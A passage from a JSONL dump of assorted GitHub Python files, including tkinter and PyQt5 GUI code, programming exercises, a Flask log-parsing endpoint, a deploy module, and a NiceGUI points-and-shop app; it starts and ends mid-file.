choose.')\nlabel01.place(x=10,y=10)\n\nlabel1 = tk.Label(frm1, font=(\"Courier\", 16), text = 'Choose the most positive')\nlabel1.place(x=60,y=120)\n\nlabel2 = tk.Label(frm2, font=(\"Courier\", 16), text = 'Choose the least positive')\nlabel2.place(x=60,y=120)\n\nmeaning1 = tk.Button(frm7,font=(\"Courier\", 14), text = 'meaningoftest1',wraplength=450, justify=tk.LEFT,\n\tcommand=lambda: meaningPressCallBack(meaning1['text']))\nmeaning1.pack(anchor = tk.W)\n\nmeaning2 = tk.Button(frm7,font=(\"Courier\", 14), text = 'meaningoftest2',wraplength=450, justify=tk.LEFT,\n\tcommand=lambda: meaningPressCallBack(meaning2['text']))\nmeaning2.pack(anchor = tk.W)\n\nmeaning3 = tk.Button(frm7,font=(\"Courier\", 14), text = 'meaningoftest3',wraplength=450, justify=tk.LEFT,\n\tcommand=lambda: meaningPressCallBack(meaning3['text']))\nmeaning3.pack(anchor = tk.W)\n\nmeaning4 = tk.Button(frm7,font=(\"Courier\", 14), text = 'meaningoftest4',wraplength=450, justify=tk.LEFT,\n\tcommand=lambda: meaningPressCallBack(meaning4['text']))\nmeaning4.pack(anchor = tk.W)\n\n# set varibles\nvar1 = tk.IntVar()\nvar2 = tk.IntVar()\n\n# first radio button\nw11 = tk.Radiobutton(frm1, text='test1', font=(\"Courier\", 14), bg = 'ivory2', padx = 20, pady = 5, value = 1, variable = var1)\nw11.grid(row = 0, column = 0)\nw12 = tk.Radiobutton(frm1, text='test2', font=(\"Courier\", 14), bg = 'ivory2', padx = 20, pady = 5, value = 2, variable = var1)\nw12.grid(row = 0, column = 1)\nw13 = tk.Radiobutton(frm1, text='test3', font=(\"Courier\", 14), bg = 'ivory2', padx = 20, pady = 5, value = 3, variable = var1)\nw13.grid(row = 1, column = 0)\nw14 = tk.Radiobutton(frm1, text='test4', font=(\"Courier\", 14), bg = 'ivory2', padx = 20, pady = 5, value = 4, variable = var1)\nw14.grid(row = 1, column = 1)\nw15 = tk.Radiobutton(frm1, text='test5', font=(\"Courier\", 14), bg = 'ivory2', padx = 20, pady = 5, value = 5, variable = var1)\nw15.grid(row = 2, column = 0)\n\nw21 = tk.Radiobutton(frm2, text='test1', font=(\"Courier\", 14), bg = 'ivory2', padx = 20, pady = 5, value = 1, variable = var2)\nw21.grid(row = 0, column = 0)\nw22 = tk.Radiobutton(frm2, text='test2', font=(\"Courier\", 14), bg = 'ivory2', padx = 20, pady = 5, value = 2, variable = var2)\nw22.grid(row = 0, column = 1)\nw23 = tk.Radiobutton(frm2, text='test3', font=(\"Courier\", 14), bg = 'ivory2', padx = 20, pady = 5, value = 3, variable = var2)\nw23.grid(row = 1, column = 0)\nw24 = tk.Radiobutton(frm2, text='test4', font=(\"Courier\", 14), bg = 'ivory2', padx = 20, pady = 5, value = 4, variable = var2)\nw24.grid(row = 1, column = 1)\nw25 = tk.Radiobutton(frm2, text='test5', font=(\"Courier\", 14), bg = 'ivory2', padx = 20, pady = 5, value = 5, variable = var2)\nw25.grid(row = 2, column = 0)\n\n# next and exit buttons\nbutton = tk.Button(frm8, height = 2, width = 4, text = 'NEXT', padx=10, pady=10, command = update).pack(side = tk.LEFT)\nbutton = tk.Button(frm8, height = 2, width = 4, text = 'EXIT', padx=10, pady=10, command = on_closing).pack(side = tk.LEFT)\n\n\nmain_window.protocol(\"WM_DELETE_WINDOW\", on_closing)\nmain_window.resizable(width =  True, height = True)\nmain_window.mainloop()\n\t\n\n","repo_name":"sagar-aggarwal/BWSAT","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"10094319549","text":"'''\n请使用Python完成以下功能：\n一、随机DNA序列（共50分）\n（1）使用代码随机生成20000个样本的DNA序列（DNA是由AGCT四个碱基对随机组成的），\n生成文件名为dnaData.txt，文件的具体格式如下[25分]：\nnum00001\tAGCTC TAGTT CGGTA TAACT\nnum00002    TTAGA ……… TAGCT\nnum00003    ATAGA ………AAGAT\nnum00004    ATAGG ……… CACTT\n……………………………………………….\nnum20000    ATAGC ……… CTGAT\n评分标准：\n①样本编号必须连续，且从num00001到num20000（5分）\n②样本的DNA序列的长度必须为20（5分）\n③每5个序列间需要间隔1个空格，如num00001所示（5分）\n④每个位置的氨基酸(A、G、C、T)必须随机生成（5分）\n⑤按照格式将数据存入文件（5分）\n'''\n\ns1='ABCD'\n# import random\n# for i in range(1,501):\n#     ss=''\n#     for j in range(20):\n#         ss+=random.choice(s1)\n#     print('S'+str(i).zfill(5)+'\\t'+ss+'\\n')\n\n#print(s1.partition('C'))  #按指定分隔符分割，返回 左边字串，分隔符，右边字串 的三部分的元组\n\n#print('1'.rjust(3,'0'))  #返回指定长度的字符串 ，并右对齐，默认前面用空格填充，也可以指定字符\n\n#print('1'.zfill(3))    #返回指定长度的字符串 ，并右对齐，前面用 “0” 填充\n\n\n\n#循环字典来进行比较相同的数量\ndict1 = {'S00001\\tCCDBCBACACADACCBADBA': 0, 'S00002\\tAAACBCDCCDCCDDCBDADD': 0, 'S00003\\tCADADBDCDCDDDBBCABDD': 0, 'S00004\\tCBBBABAABCCBBBDDCAAA': 0, 'S00005\\tAAADDDDCBADDBBBBDADA': 0}\ns2 =  'S00002\\tAAACBCDCCDCCDDCBDADD'\nfor i in dict1.keys():\n    count1=0    #计数\n    for j in range(20):\n        #判断比较\n        print(i)\n        print('i[-20:][%d]'%j,i[-20:][j])\n        print('s2[-20:][%d]'%j,s2[-20:][j])\n        '''\n        核心代码，先进行截取操作，截取倒数第20个至末尾，此时结果是列表；\n        然后通过下标获取该列表的对应元素，\n        例如：i= \"S00001   \tCCDBCBACACADACCBADBA\"  i[-20:][0] = 'C'\n        '''\n        if i[-20:][j]==s2[-20:][j]:\n            count1+=1\n    dict1[i]=count1\nprint(dict1)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"jiangshangliu/pyPractice","sub_path":"for_month_exam_practice/testA.py","file_name":"testA.py","file_ext":"py","file_size_in_byte":2159,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"24278654661","text":"import sys, os\nsys.path.append(os.getcwd())\n\nfrom hslog.liveparser import LiveLogParser\nfrom flask import Flask, request\n\nliveParser = LiveLogParser(None)\n\napp = Flask(__name__)\n\n\n@app.route(\"/\", methods=['POST'])\ndef hello():\n    req_data = request.get_json()\n\n    # feed the parser\n    liveParser.flask_endpoint(req_data['line'].strip())\n    return ''\n\nif __name__ == '__main__':\n    app.run(debug=True, port=5000)","repo_name":"dduric/hearthstone-experiments","sub_path":"server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"16769734689","text":"import sys\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtWidgets import *\n\nclass Window(QWidget):\n    def __init__(self):\n        super().__init__()\n\n        # ser my layout\n        grid = QGridLayout()\n        self.setLayout(grid)\n        self.setGeometry(10, 10, 300, 300) # top left x, top left y, width, height\n\n        # make our widgets\n        label1 = QLabel(\"label1\", self) # text to display, widget to display to\n        grid.addWidget(label1, 1, 1, 1, 1) # row, col, row_span, col_span\n\n        button1 = QPushButton(\"button1\", self)\n        grid.addWidget(button1, 1, 2, 1, 1)\n\n        lcd = QLCDNumber(self)\n        lcd.display(50)\n        grid.addWidget(lcd, 2, 1, 1, 2)\n\n        slider = QSlider(Qt.Horizontal, self)\n        slider.setValue(50)\n        grid.addWidget(slider, 3, 1, 1, 2)\n\n        combobox = QComboBox(self)\n        grid.addWidget(combobox, 4, 1, 1, 1)\n        combobox.addItems([\"Beck\", \"Nathan\", \"Olivia\"])\n\n        checkbox = QCheckBox(self)\n        grid.addWidget(checkbox, 4, 2, 1, 1)\n\n        textline = QLineEdit(self)\n        grid.addWidget(textline, 5, 1, 1, 1)\n\n        multiline = QTextEdit(self)\n        grid.addWidget(multiline, 5, 2, 1, 1)\n\n        calender = QCalendarWidget(self)\n        grid.addWidget(calender, 6, 1, 1, 1)\n\n        # set up signals and slots\n        button1.clicked.connect(lambda: label1.setText(\"Clicked!\"))\n        slider.valueChanged.connect(lcd.display)\n        checkbox.stateChanged.connect(self.box_checked)\n        multiline.textChanged.connect(lambda: print(\"Changed\"))\n        combobox.currentTextChanged.connect(lambda: print(combobox.currentText()))\n\n    def box_checked(self):\n        print(\"Box checked!\")\n\n        # draw the app\n        self.show()\n\nif __name__ == '__main__':\n    app = QApplication(sys.argv)\n    gui = Window() # create an instance of the window class\n    sys.exit(app.exec_())","repo_name":"sturner18/ProgrammingNotes","sub_path":"pyqtnotes.py","file_name":"pyqtnotes.py","file_ext":"py","file_size_in_byte":1871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"1659367246","text":"import sys\n\ninput = sys.stdin.readline\n\nN, M, L = map(int, input().split())\nif N > 0:\n    rest_area = list(map(int, input().split()))\n    rest_area.append(0)\n    rest_area.append(L)\n    rest_area.sort()\n\n\n# N이 0이면 휴게소 입력 받을 수 없음.\n\n\ndef check_additional_rest_area_cnt(mid):\n    \"\"\"\n    휴게소 간격을 최대 mid로 한다고 했을 때, 더 설치해야 하는 휴게소 개수\n    \"\"\"\n\n    # 만약에 현재 휴게소 0개 라면 따로 처리\n    if N == 0:\n        tmp = L // mid\n        if L % mid == 0:\n            return (tmp - 1)\n        return tmp\n\n    cnt = 0\n    before_rest_area_idx = rest_area[0]\n    for i in range(1, N + 2):\n        tmp = rest_area[i] - before_rest_area_idx\n        if tmp > mid:\n            add_cnt = (tmp // mid)  # 중간에 더 설치해야 하는 휴게소 개수\n            if before_rest_area_idx + (mid * add_cnt) == rest_area[i]:  # 이미 설치된 곳에 또 설치하진 않아도 됨\n                add_cnt -= 1\n            cnt += add_cnt  # 그만큼 더하기\n        before_rest_area_idx = rest_area[i]\n\n    return cnt\n\n\nleft = 0\nright = L\nmid = (left + right) // 2\nans = 1001\n\nwhile left <= right:\n    mid = (left + right) // 2  # 휴게소가 없는 구간의 최댓값의 최솟값\n    if left == 0 and right == 1:  # N이 0일 때를 위해서 특별 처리..\n        mid = 1\n    if mid <= 0:\n        break\n    tmp_cnt = check_additional_rest_area_cnt(mid)\n\n    if tmp_cnt > M:  # 휴게소를 계획보다 더 설치해야 하면\n        left = mid + 1  # 휴게소가 없는 구간의 최댓값의 최솟값 넓히기\n\n    else:  # 휴게소를 계획만큼 or 휴게소를 계획보다 덜 설치해야 하면\n        right = mid - 1  # 휴게소가 없는 구간의 최댓값의 최솟값 줄이기\n        ans = min(ans, mid)  # 정답될 수 있음\n\nprint(ans)\n","repo_name":"mintropy/algorithm_pulzo","sub_path":"김서인/2201/0131/1477.py","file_name":"1477.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"9597317926","text":"from deploy.util import FormattedFile as ffile\nfrom deploy.util import img\nfrom deploy.util import repo\nfrom deploy.util import versort\n\nfrom deploy.errors  import assert_file_has_content\nfrom deploy.event   import Event\nfrom deploy.dlogging import L1\n\ndef get_module_info(ptr, *args, **kwargs):\n  return dict(\n    api         = 5.0,\n    events      = ['BaseInfoEvent'],\n    description = 'reads the .buildstamp file from the base distribution',\n  )\n\nclass BaseInfoEvent(Event):\n  def __init__(self, ptr, *args, **kwargs):\n    Event.__init__(self,\n      id = 'base-info',\n      parentid = 'installer',\n      ptr = ptr,\n      requires = ['anaconda-version', 'installer-repo'],\n      provides = ['base-info'],\n    )\n\n    self.DATA = {\n      'input':     set(),\n      'output':    set(),\n      'variables': set(['cvars[\\'anaconda-version\\']']),\n    }\n\n  def error(self, e):\n    Event.error(self, e)\n    try:\n      self.image.close()\n    except:\n      pass\n\n  def setup(self):\n    self.diff.setup(self.DATA)\n\n    initrd_in=( self.cvars['installer-repo'].url /\n                self.locals.L_FILES['pxeboot']['initrd.img']['path'] )\n\n    self.io.add_fpath(initrd_in, self.mddir, id='initrd.img')\n    self.initrd_out = self.io.list_output(what='initrd.img')[0]\n    self.buildstamp_out = self.mddir/'.buildstamp'\n    self.DATA['output'].add(self.buildstamp_out)\n\n  def run(self):\n    self.log(2, L1(\"reading buildstamp file from base repository\"))\n\n    # download initrd.img\n    self.io.process_files(cache=True, callback=self.link_callback,\n                       text=None, what='initrd.img')\n\n    # extract buildstamp\n    image = self.locals.L_FILES['pxeboot']['initrd.img']\n    self.image = img.MakeImage(self.initrd_out, image['format'], \n                 image.get('zipped', False), \n                 image.get('zip_format', 'gzip'))\n    self.image.open('r')\n    self.image.read('.buildstamp', self.mddir)\n    self.image.close()\n    img.cleanup()\n\n  def apply(self):\n    # parse buildstamp\n    buildstamp = ffile.DictToFormattedFile(self.locals.L_BUILDSTAMP_FORMAT)\n\n    # update base vars\n    assert_file_has_content(self.buildstamp_out)\n    self.cvars.setdefault('base-info', {}).update(buildstamp.read(self.buildstamp_out))\n\n  def verify_buildstamp_file(self):\n    \"verify buildstamp file exists\"\n    self.verifier.failUnlessExists(self.buildstamp_out)\n  def verify_cvars(self):\n    \"verify cvars exist\"\n    self.verifier.failUnlessSet('base-info')\n","repo_name":"kaywilliams/rosie","sub_path":"deploy/modules/core/installer/base-info.py","file_name":"base-info.py","file_ext":"py","file_size_in_byte":2450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"9709622731","text":"L = list(map(int, input().split()))\r\n\r\nfor i in range(1, 10):\r\n    if L.count(i) == 3:\r\n        print(10000 + (i * 1000))\r\n        break\r\n    elif L.count(i) == 2:\r\n        print(1000 + (i * 100))\r\n        break\r\n\r\n\r\nif L[0] != L[1] and L[0] != L[2] and L[1] != L[2]:\r\n    print(max(L) * 100)","repo_name":"skh990427/Baekjoon","sub_path":"백준/Bronze/2480. 주사위 세개/주사위 세개.py","file_name":"주사위 세개.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"70651264693","text":"from nicegui import ui\nfrom tinydb import TinyDB, Query\nfrom datetime import timezone, timedelta, datetime\nimport os\n\n# 当前路径获取\ncurrent_path = os.path.abspath(__file__)\nfather_path = os.path.abspath(os.path.dirname(current_path) + os.path.sep + \".\")\n\n# TinyDB 数据库\ndbPath = os.path.join(father_path, \"db.json\")\ndb = TinyDB(dbPath)\nUser = Query()\nlogDbPath = os.path.join(father_path, \"logDb.json\")\nlogDb = TinyDB(logDbPath, ensure_ascii = False)\nruleDbPath = os.path.join(father_path, \"ruleDb.json\")\nruleDb = TinyDB(ruleDbPath, ensure_ascii = False)\n\n# 黑暗模式\ndark = ui.dark_mode()\ndef darkModeSwitch():\n    if dark.value:\n        dark.disable()\n    else:\n        dark.enable()\n\n# 首页\nui.markdown('''#婷婷公主与他的笨蛋骑士小魏''')\nwith ui.row():\n    ui.button('快点我', on_click=lambda: ui.notify('别点我啦', close_button=\"饶过你\"))\n    ui.switch('黑暗模式', on_change=darkModeSwitch) \n    ui.spinner('dots', size='lg', color='blue')\n\n# 积分表\ngrid = ui.aggrid({\n    'defaultColDef': {'flex': 1},\n    'columnDefs': [\n        {'headerName': '名字', 'field': 'name'},\n        {'headerName': '分数', 'field': 'fen'},\n        {'headerName': '愿望卷', 'field': 'ticket'},\n    ],\n    'rowData': [\n        {'name': '婷婷', 'fen': db.search(User.name == 'ztt')[0]['score'], 'ticket': db.search(User.name == 'ztt')[0]['ticket']},\n        {'name': '小魏', 'fen': db.search(User.name == 'why')[0]['score'], 'ticket': db.search(User.name == 'why')[0]['ticket']},\n    ],\n}).classes('max-h-24')\n\n# 积分日志\nbeijingTime = timezone(timedelta(hours=8))\ndef logZtt(score, ticket, event):\n    zttPlus(score, ticket)\n    datetimeNow = datetime.utcnow().astimezone(beijingTime)\n    datetimeNowStr = datetimeNow.strftime(\"%Y/%m/%d-%H:%M:%S\")\n    eventZtt = \", 婷婷公主 {0}, {1}\".format(event, score)\n    logDb.insert({'time': datetimeNowStr, 'event': eventZtt})\n    log.push(datetimeNowStr+eventZtt)\ndef logWhy(score, ticket, event):\n    whyPlus(score, ticket)\n    datetimeNow = datetime.utcnow().astimezone(beijingTime)\n    datetimeNowStr = datetimeNow.strftime(\"%Y/%m/%d-%H:%M:%S\")\n    eventWhy = \", 笨蛋小魏 {0}, {1}\".format(event, score)\n    logDb.insert({'time': datetimeNowStr, 'event': eventWhy})\n    log.push(datetimeNowStr+eventWhy)\n    \n# 积分函数\ndef zttPlus(score, ticket):\n    grid.options['rowData'][0]['fen'] += score\n    db.update({'score': db.search(User.name == 'ztt')[0]['score'] + score}, User.name == 'ztt')\n    grid.options['rowData'][0]['ticket'] += ticket\n    db.update({'ticket': db.search(User.name == 'ztt')[0]['ticket'] + ticket}, User.name == 'ztt')\n    grid.update()\ndef whyPlus(score, ticket):\n    grid.options['rowData'][1]['fen'] += score\n    db.update({'score': db.search(User.name == 'why')[0]['score'] + score}, User.name == 'why')\n    grid.options['rowData'][1]['ticket'] += ticket\n    db.update({'ticket': db.search(User.name == 'why')[0]['ticket'] + ticket}, User.name == 'why')\n    grid.update()\n\nwith ui.row():\n    ui.button('婷婷加1', on_click=lambda: logZtt(1, 0, \"加一\"))\n    ui.button('婷婷减1', on_click=lambda: logZtt(-1, 0, \"减一\"))\n    ui.button('小魏加1', on_click=lambda: logWhy(1, 0, \"加一\"))\n    ui.button('小魏减1', on_click=lambda: logWhy(-1, 0, \"减一\"))\nwith ui.row():\n    resultZtt = ui.number(label='婷婷加减自定义分数', value=5)\n    ui.button('提交', on_click=lambda: logZtt(resultZtt.value, 0, \"自定义\"))\nwith ui.row():\n    resultWhy = ui.number(label='小魏加减自定义分数', value=5)\n    ui.button('提交', on_click=lambda: logWhy(resultWhy.value, 0, \"自定义\"))\nwith ui.grid(columns=5):\n    ui.button('好好吃饭', on_click=lambda: logZtt(2, 0, \"好好吃饭\"))\n    ui.button('早早睡觉', on_click=lambda: logZtt(2, 0, \"早早睡觉\"))\n    ui.button('好好工作', on_click=lambda: logZtt(3, 0, \"好好工作\"))\n    ui.button('陪小魏打游戏', on_click=lambda: logZtt(5, 0, \"陪小魏打游戏\"))\n    ui.button('陪小魏睡觉觉', on_click=lambda: logZtt(10, 0, \"陪小魏睡觉觉\"))\nui.separator()\n\n# 万能愿望卷加减\nwith ui.row():\n    ui.button('婷婷兑换万能愿望卷', on_click=lambda: logZtt(-20, 1, \"万能愿望卷\"))\n    ui.button('小魏兑换万能愿望卷', on_click=lambda: logWhy(-20, 1, \"万能愿望卷\"))\nwith ui.row():\n    ui.button('婷婷万能愿望卷加0.5', on_click=lambda: logZtt(0, 0.5, \"万能愿望卷加0.5\"))\n    ui.button('婷婷万能愿望卷减0.5', on_click=lambda: logZtt(0, -0.5, \"万能愿望卷减0.5\"))\n    ui.button('小魏万能愿望卷加0.5', on_click=lambda: logWhy(0, 0.5, \"万能愿望卷加0.5\"))\n    ui.button('小魏万能愿望卷减0.5', on_click=lambda: logWhy(0, -0.5, \"万能愿望卷减0.5\"))\nwith ui.row():\n    zttInput = ui.input(label='婷婷使用万能愿望卷', placeholder='使用原因',\n            validation={'输入过长': lambda value: len(value) < 20})\n    ui.button('提交', on_click=lambda: logZtt(0, -1, zttInput.value))\nwith ui.row():\n    whyInput = ui.input(label='小魏使用万能愿望卷', placeholder='使用原因',\n            validation={'输入过长': lambda value: len(value) < 20})\n    ui.button('提交', on_click=lambda: logWhy(0, -1, whyInput.value))\nui.separator()\n\n# 积分规则    \n## 更新规则\ndef ruleUpdate(value, select):\n    ruleDb.update({'rule': value}, User.name == select)\n    ruleMark.refresh()\ndef ruleTextUpdate():\n    ruleText.value = ruleDb.search(User.name == ruleSelect.value)[0]['rule']\nwith ui.dialog() as ruleDialog, ui.card().classes('w-80 h-72'):\n    with ui.column():\n        with ui.row():\n            ruleSelect = ui.select(['婷婷公主', '笨蛋小魏', '万能愿望卷'], value='婷婷公主', on_change=lambda: ruleTextUpdate())\n            ui.button('保存', on_click=lambda: ruleUpdate(ruleText.value, ruleSelect.value))\n            ui.button('关闭', on_click=ruleDialog.close)\n        ruleText = ui.textarea(label='积分规则修改', value=ruleDb.search(User.name == ruleSelect.value)[0]['rule']).classes('w-64 h-48')\nwith ui.row():\n    ui.label('积分规则').classes('text-h5')\n    ui.button('规则修改', on_click=ruleDialog.open)\n## 显示规则\n@ui.refreshable\ndef ruleMark(name):\n    ui.markdown(ruleDb.search(User.name == name)[0]['rule'])\nwith ui.row():\n    with ui.card().classes('w-96 h-32'):\n        with ui.scroll_area():\n            ruleMark('婷婷公主')\n    with ui.card().classes('w-96 h-32'):\n        with ui.scroll_area():\n            ruleMark('笨蛋小魏')\n    with ui.card().classes('w-96 h-32'):\n        with ui.scroll_area():\n            ruleMark('万能愿望卷')\nui.separator()\n\n# 积分日志\nwith ui.dialog() as dialog, ui.card().classes('w-96 h-96'):\n    logAll = ui.log().classes('w-full h-80')\n    for item in logDb:\n        # 显示全部日志\n        logAll.push(item['time'][2:-1]+item['event'])\n    ui.button('关闭', on_click=dialog.close)\nwith ui.row():\n    ui.label('积分日志').classes('text-h5')\n    ui.button('查看全部日志', on_click=dialog.open)\nlog = ui.log().classes('w-full h-20')\nui.separator()\n\n# 商城\nui.label('商城').classes('text-h5')\n# 树脂4\ndef shopping4():\n    if grid4.options['rowData'][0]['num'] == 0:\n        goods4Dialog.close()\n        ui.notify(\"卖完啦，亲一口小魏补货\")\n        return 0\n    logZtt(-4, 0, \"购买树脂4\")\n    db.update({'num': db.search(User.name == '4')[0]['num'] - 1}, User.name == '4')\n    grid4.options['rowData'][0]['num'] -= 1\n    goods4Dialog.close()\n    grid4.update()\nwith ui.dialog() as goods4Dialog, ui.card():\n    ui.label('是否确定购买？')\n    with ui.row():\n        ui.button('否', on_click=goods4Dialog.close)\n        ui.button('是', on_click=shopping4)\nwith ui.splitter().classes('w-full h-full') as splitter:\n    with splitter.before:\n        with ui.card().classes('w-full h-full'):\n            ui.image('https://s2.loli.net/2023/09/19/PgdEmzL4plAwJjy.jpg')\n    with splitter.after:\n        with ui.card().classes('w-full h-full'):\n            grid4 = ui.aggrid({\n                'defaultColDef': {'flex': 1},\n                'columnDefs': [\n                    {'headerName': '单价', 'field': 'score'},\n                    {'headerName': '数量', 'field': 'num'},\n                ],\n                'rowData': [\n                    {'score': db.search(User.name == '4')[0]['score'], 'num': db.search(User.name == '4')[0]['num']},\n                ],\n            }).classes('w-full h-16')\n            ui.button('购买', on_click=goods4Dialog.open).classes('w-full')\nui.separator()\n\n# 树脂5\ndef shopping5():\n    if grid5.options['rowData'][0]['num'] == 0:\n        goods5Dialog.close()\n        ui.notify(\"卖完啦，亲一口小魏补货\")\n        return 0\n    logZtt(-5, 0, \"购买树脂5\")\n    db.update({'num': db.search(User.name == '5')[0]['num'] - 1}, User.name == '5')\n    grid5.options['rowData'][0]['num'] -= 1\n    goods5Dialog.close()\n    grid5.update()\nwith ui.dialog() as goods5Dialog, ui.card():\n    ui.label('是否确定购买？')\n    with ui.row():\n        ui.button('否', on_click=goods5Dialog.close)\n        ui.button('是', on_click=shopping5)\nwith ui.splitter().classes('w-full h-full') as splitter:\n    with splitter.before:\n        with ui.card().classes('w-full h-full'):\n            ui.image('https://s2.loli.net/2023/09/19/6ADRVUtHJ1C9f2S.jpg')\n    with splitter.after:\n        with ui.card().classes('w-full h-full'):\n            grid5 = ui.aggrid({\n                'defaultColDef': {'flex': 1},\n                'columnDefs': [\n                    {'headerName': '单价', 'field': 'score'},\n                    {'headerName': '数量', 'field': 'num'},\n                ],\n                'rowData': [\n                    {'score': db.search(User.name == '5')[0]['score'], 'num': db.search(User.name == '5')[0]['num']},\n                ],\n            }).classes('w-full h-16')\n            ui.button('购买', on_click=goods5Dialog.open).classes('w-full')\nui.separator()\n\nui.run(title='ZTT LOVE WHY', favicon='💖')","repo_name":"StudentWeis/jifen","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"20595619469","text":"import setuptools\n\nwith open('README.md', 'r') as fh:\n    long_description = fh.read()\n\nsetuptools.setup(\n    name=\"fourparts\",\n    version=\"0.0.1\",\n    author=\"rxtan\",\n    description=\"A package related to all things 4 parts\",\n    long_description=long_description,\n    long_description_content_type=\"text/markdown\",\n    url=\"https://github.com/ruixuantan/fourparts\",\n    packages=setuptools.find_packages(),\n    install_requires=[\n        'pandas',\n        'py-midicsv',\n        'scikit-learn'\n    ],\n    classifiers=[\n        \"Programming Language :: Python :: 3\",\n        \"License :: OSI Approved :: MIT License\",\n        \"Operating System :: OS Independent\",\n    ],\n    python_requires='>=3.8.0'\n)\n","repo_name":"ruixuantan/FourParts","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"27883822082","text":"from memoflow.core import dependency\r\nfrom memoflow.core import manager\r\nfrom memoflow.conf import CONF\r\n\r\nfrom typing import (\r\n    Any,\r\n    Callable,\r\n    Dict,\r\n    Iterable,\r\n    List,\r\n    Optional,\r\n    Tuple,\r\n    Type,\r\n)\r\n\r\n\r\n@dependency.provider('llm_api')\r\nclass LLMAPIManager(manager.Manager):\r\n    driver_namespace = \"memoflow.driver.driver_manager\"\r\n\r\n    def __init__(self):\r\n        super(LLMAPIManager,\r\n              self).__init__(driver_name=CONF.driver_manager.LLM_API_DRIVER)\r\n\r\n    def get_embedding(self, text):\r\n        return self.driver.get_embedding(text)\r\n\r\n    def get_embedding_function(self):\r\n        return self.driver.get_embedding_function()\r\n    ","repo_name":"qyzhizi/web_dl","sub_path":"memoflow/driver_manager/llm.py","file_name":"llm.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"36093661817","text":"def convertFracts(lst):\n    fengmu = []\n    sarr = []\n    result = []\n    for i in lst:\n        fengmu.append(i[1])\n\n    def gcd(a, b):\n        if b == 0:\n            return a\n\n        return gcd(b, a % b)\n\n    def lcm(c, d):\n        return c * d / (gcd(c, d))\n\n    sarr.append(lcm(fengmu[0], fengmu[1]))\n    count = 0\n    for i in fengmu[2:]:\n        s = lcm(sarr[count], i)\n        sarr.append(s)\n        count += 1\n    LCM = sarr[-1]\n\n    def zoomUp(e, f, LCM):\n        return [int(LCM / f * e), int(LCM)]\n\n    for i in lst:\n        result.append(zoomUp(i[0], i[1], LCM))\n    return result\n\n\n77033412951888085, 14949283383840498\n'''\nfrom fractions import gcd\n\ndef get_lcm(lst):\n  return reduce(lambda x, y : x*y/gcd(x,y), lst)\n\ndef convertFracts(lst):\n  lcm = get_lcm([ y for x, y in lst])\n     return [ [x*lcm/y, lcm] for x, y in lst]\n     \ndef gcd(a,b):\n    while b:\n        a,b=b,a%b\n    return a\ndef lcm(a,b):\n    return a*b/gcd(a,b)\n'''\n\n","repo_name":"ecafkoob/Python","sub_path":"CommonDenominators.py","file_name":"CommonDenominators.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"24905943745","text":"import math\nimport numpy\nfrom scipy import integrate\nf=open('1dstar.txt',\"r\")\n\ndef Remove(duplicate): \n\tfinal_list = [[], []] \n\tfor i in range(len(duplicate[0])): \n\t\tif duplicate[0][i] not in final_list[0]: \n\t\t\tfinal_list[0].append(duplicate[0][i])\n\t\t\tfinal_list[1].append(duplicate[1][i])\n\treturn final_list \ndef bubbleSort(arr):\n\tn = len(arr[0])\n \n    # Traverse through all array elements\n\tfor i in range(n):\n \n        # Last i elements are already in place\n\t\tfor j in range(0, n-i-1):\n \n            # traverse the array from 0 to n-i-1\n            # Swap if the element found is greater\n            # than the next element\n\t\t\tif arr[0][j] > arr[0][j+1] :\n\t\t\t\tarr[0][j], arr[0][j+1] = arr[0][j+1], arr[0][j]\n\t\t\t\tarr[1][j], arr[1][j+1] = arr[1][j+1], arr[1][j]\ndef badVolIntegrate(arr):\n\tn = len(arr[0])\n\tresult = 0\n\tprevious_radius= arr[0][0]\n\tprevious_rho=arr[1][0]\n\tfor i in range(1, n):\n\t\tresult += previous_rho * ((4.0/3)*math.pi)*(arr[0][i]**3 - previous_radius**3)\n\t\tprevious_radius = arr[0][i]\n\t\tprevious_rho = arr[1][i]\n\tprint('Mass: ' + str(result))\ndef goodVolIntegrate(arr):\t\n\tn = len(arr[0])\n\tresult = 0\n\tareadens=[]\n\tfor i in range(0,len(arr[1])):\n\t\tareadens.append(arr[1][i]*4*math.pi*arr[0][i]**2)\n\tresult=integrate.simps(areadens,arr[0])\n\tprint('Mass: ' + str(result))\nlines=f.readlines()\nresult= [[], []]\nfor x in lines:\n\tresult[0].append(x.split(' ')[1])\n\tresult[1].append(x.split(' ')[2])\ndata = [[], []]\nfor x in range(len(result[0])):\n\tif float(result[0][x]) >= 0:# and float(result[0][x]) <=.87: #and float(result[0][x]) <=1.5:\n\t\tdata[0].append(float(result[0][x]))\n\t\tdata[1].append(float(result[1][x]))\n#print(len(data[0]))\n#print(len(data[1]))\ndata = Remove(data)\n#print(len(data[0]))\n#print(len(data[1]))\nbubbleSort(data)\n#print(len(data[0]))\n#print(data[0])\n#print(\"\\n\")\n#print(data[1])\n#for i in range(len(data[1])):\n#\tif 